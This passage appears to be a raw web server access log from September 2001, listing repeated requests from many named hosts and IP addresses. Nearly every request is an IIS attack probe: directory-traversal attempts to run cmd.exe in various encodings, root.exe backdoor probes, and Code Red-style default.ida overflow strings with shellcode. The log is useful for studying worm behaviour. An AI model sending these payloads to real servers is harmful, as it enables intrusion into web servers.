/scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:58:16: borenti2.law.columbia.edu [128.59.176.142] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:58:17: borenti2.law.columbia.edu [128.59.176.142] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:58:17: borenti2.law.columbia.edu [128.59.176.142] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:58:17: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:58:17: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:58:17: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:58:20: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:58:20: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:58:20: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:58:20: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:58:21: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 10:58:21: [128.196.172.104] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 11:06:59: [128.196.172.104] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 11:07:17: [128.196.172.104] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:07:36: [128.196.172.104] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:07:54: [128.196.172.104] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:08:13: [128.196.172.104] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:08:31: [128.196.172.104] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:08:50: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010919 11:08:50: [128.196.172.104] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:09:08: [128.196.172.104] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:09:27: [128.196.172.104] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:09:45: cos130dhcp188.us.dg.com [128.222.130.188] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 11:09:52: [128.196.172.104] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:10:11: cos130dhcp188.us.dg.com [128.222.130.188] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 11:10:11: [128.196.172.104] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:10:29: [128.196.172.104] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:10:48: [128.196.172.104] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:11:06: [128.196.172.104] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:11:24: [128.196.172.104] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:11:43: dynamic-223-216.dyn.columbia.edu [128.59.223.216] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 11:11:43: dynamic-223-216.dyn.columbia.edu [128.59.223.216] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 11:11:43: dynamic-223-216.dyn.columbia.edu [128.59.223.216] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:11:44: dynamic-223-216.dyn.columbia.edu [128.59.223.216] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:11:44: dynamic-223-216.dyn.columbia.edu [128.59.223.216] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:11:44: dynamic-223-216.dyn.columbia.edu [128.59.223.216] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:11:44: dynamic-223-216.dyn.columbia.edu [128.59.223.216] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:11:44: dynamic-223-216.dyn.columbia.edu [128.59.223.216] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:11:45: dynamic-223-216.dyn.columbia.edu [128.59.223.216] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:11:45: dynamic-223-216.dyn.columbia.edu [128.59.223.216] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:11:45: dynamic-223-216.dyn.columbia.edu [128.59.223.216] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:11:45: dynamic-223-216.dyn.columbia.edu [128.59.223.216] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:11:46: dynamic-223-216.dyn.columbia.edu [128.59.223.216] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:11:46: dynamic-223-216.dyn.columbia.edu [128.59.223.216] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:11:46: dynamic-223-216.dyn.columbia.edu [128.59.223.216] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:11:46: dynamic-223-216.dyn.columbia.edu [128.59.223.216] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:11:46: olooney.cviog.uga.edu [128.192.30.206] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 11:20:27: olooney.cviog.uga.edu [128.192.30.206] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 11:20:27: olooney.cviog.uga.edu [128.192.30.206] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:20:27: olooney.cviog.uga.edu [128.192.30.206] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:20:28: olooney.cviog.uga.edu [128.192.30.206] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:20:29: olooney.cviog.uga.edu [128.192.30.206] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:20:29: olooney.cviog.uga.edu [128.192.30.206] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:20:29: olooney.cviog.uga.edu [128.192.30.206] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:20:29: olooney.cviog.uga.edu [128.192.30.206] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:20:29: olooney.cviog.uga.edu [128.192.30.206] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:20:29: olooney.cviog.uga.edu [128.192.30.206] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:20:29: olooney.cviog.uga.edu [128.192.30.206] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:20:29: olooney.cviog.uga.edu [128.192.30.206] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:20:30: olooney.cviog.uga.edu [128.192.30.206] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:20:30: olooney.cviog.uga.edu [128.192.30.206] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:20:30: olooney.cviog.uga.edu [128.192.30.206] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:20:30: vas.ais.columbia.edu [128.59.59.252] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 11:23:25: vas.ais.columbia.edu [128.59.59.252] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 11:23:25: vas.ais.columbia.edu [128.59.59.252] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:23:26: vas.ais.columbia.edu [128.59.59.252] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:23:26: vas.ais.columbia.edu [128.59.59.252] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:23:27: vas.ais.columbia.edu [128.59.59.252] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:23:27: vas.ais.columbia.edu [128.59.59.252] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:23:27: vas.ais.columbia.edu [128.59.59.252] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:23:27: vas.ais.columbia.edu [128.59.59.252] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:23:27: vas.ais.columbia.edu [128.59.59.252] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:23:27: vas.ais.columbia.edu [128.59.59.252] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:23:27: vas.ais.columbia.edu [128.59.59.252] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:23:27: vas.ais.columbia.edu [128.59.59.252] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:23:27: vas.ais.columbia.edu [128.59.59.252] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:23:28: vas.ais.columbia.edu [128.59.59.252] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:23:28: vas.ais.columbia.edu [128.59.59.252] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:23:28: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 11:31:01: fms97.facil.columbia.edu [128.59.244.149] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 11:31:01: fms97.facil.columbia.edu [128.59.244.149] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:31:01: fms97.facil.columbia.edu [128.59.244.149] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:31:03: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:31:04: fms97.facil.columbia.edu [128.59.244.149] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:31:04: fms97.facil.columbia.edu [128.59.244.149] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:31:05: fms97.facil.columbia.edu [128.59.244.149] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:31:05: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:31:06: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:31:06: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:31:07: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:31:07: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:31:08: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:31:08: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:31:09: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:31:09: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010919 11:32:50: hcall.com [128.134.20.3] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 11:43:30: hcall.com [128.134.20.3] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 11:43:30: hcall.com [128.134.20.3] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:43:31: hcall.com [128.134.20.3] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:43:32: hcall.com [128.134.20.3] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:43:32: hcall.com [128.134.20.3] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:43:33: hcall.com [128.134.20.3] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:43:33: hcall.com [128.134.20.3] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:43:37: hcall.com [128.134.20.3] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:43:37: hcall.com [128.134.20.3] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:43:38: hcall.com [128.134.20.3] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:43:39: hcall.com [128.134.20.3] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:43:42: hcall.com [128.134.20.3] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:43:43: hcall.com [128.134.20.3] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:43:43: hcall.com [128.134.20.3] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:43:44: hcall.com [128.134.20.3] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:43:45: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 11:49:57: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 11:49:57: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:49:57: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:49:58: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:49:58: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:49:58: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:49:58: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:49:59: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:49:59: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:49:59: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:49:59: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:49:59: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:50:00: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:50:00: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:50:00: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:50:00: bus84-225.gsb.columbia.edu [128.59.84.225] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 11:55:17: bus84-225.gsb.columbia.edu [128.59.84.225] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 11:55:17: bus84-225.gsb.columbia.edu [128.59.84.225] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:55:18: bus84-225.gsb.columbia.edu [128.59.84.225] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:55:18: bus84-225.gsb.columbia.edu [128.59.84.225] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:55:18: bus84-225.gsb.columbia.edu [128.59.84.225] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:55:19: bus84-225.gsb.columbia.edu [128.59.84.225] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:55:19: bus84-225.gsb.columbia.edu [128.59.84.225] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:55:19: bus84-225.gsb.columbia.edu [128.59.84.225] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:55:19: bus84-225.gsb.columbia.edu [128.59.84.225] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:55:19: bus84-225.gsb.columbia.edu [128.59.84.225] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:55:20: bus84-225.gsb.columbia.edu [128.59.84.225] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:55:20: bus84-225.gsb.columbia.edu [128.59.84.225] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:55:20: bus84-225.gsb.columbia.edu [128.59.84.225] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:55:20: bus84-225.gsb.columbia.edu [128.59.84.225] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:55:21: bus84-225.gsb.columbia.edu [128.59.84.225] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:55:21: vas.ais.columbia.edu [128.59.59.252] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 11:56:00: vas.ais.columbia.edu [128.59.59.252] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 11:56:00: vas.ais.columbia.edu [128.59.59.252] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:56:01: vas.ais.columbia.edu [128.59.59.252] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:56:01: vas.ais.columbia.edu [128.59.59.252] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:56:01: vas.ais.columbia.edu [128.59.59.252] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:56:01: vas.ais.columbia.edu [128.59.59.252] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:56:01: vas.ais.columbia.edu [128.59.59.252] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:56:01: vas.ais.columbia.edu [128.59.59.252] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:56:02: vas.ais.columbia.edu [128.59.59.252] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:56:02: vas.ais.columbia.edu [128.59.59.252] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:56:02: vas.ais.columbia.edu [128.59.59.252] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:56:02: vas.ais.columbia.edu [128.59.59.252] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:56:02: vas.ais.columbia.edu [128.59.59.252] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:56:02: vas.ais.columbia.edu [128.59.59.252] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:56:02: vas.ais.columbia.edu [128.59.59.252] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:56:02: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 11:57:35: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 11:57:35: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:57:35: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:57:35: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:57:35: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:57:35: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:57:35: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:57:36: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:57:36: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:57:36: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:57:36: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:57:36: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:57:36: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:57:37: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:57:37: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 11:57:37: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 12:06:54: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 12:06:54: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 12:06:54: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 12:06:54: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 12:06:54: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 12:06:55: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 12:06:55: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 12:06:55: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 12:06:55: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 12:06:55: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 12:06:56: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 12:06:56: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 12:06:56: bus215-220.gsb.columbia.edu [128.59.215.220] "GET 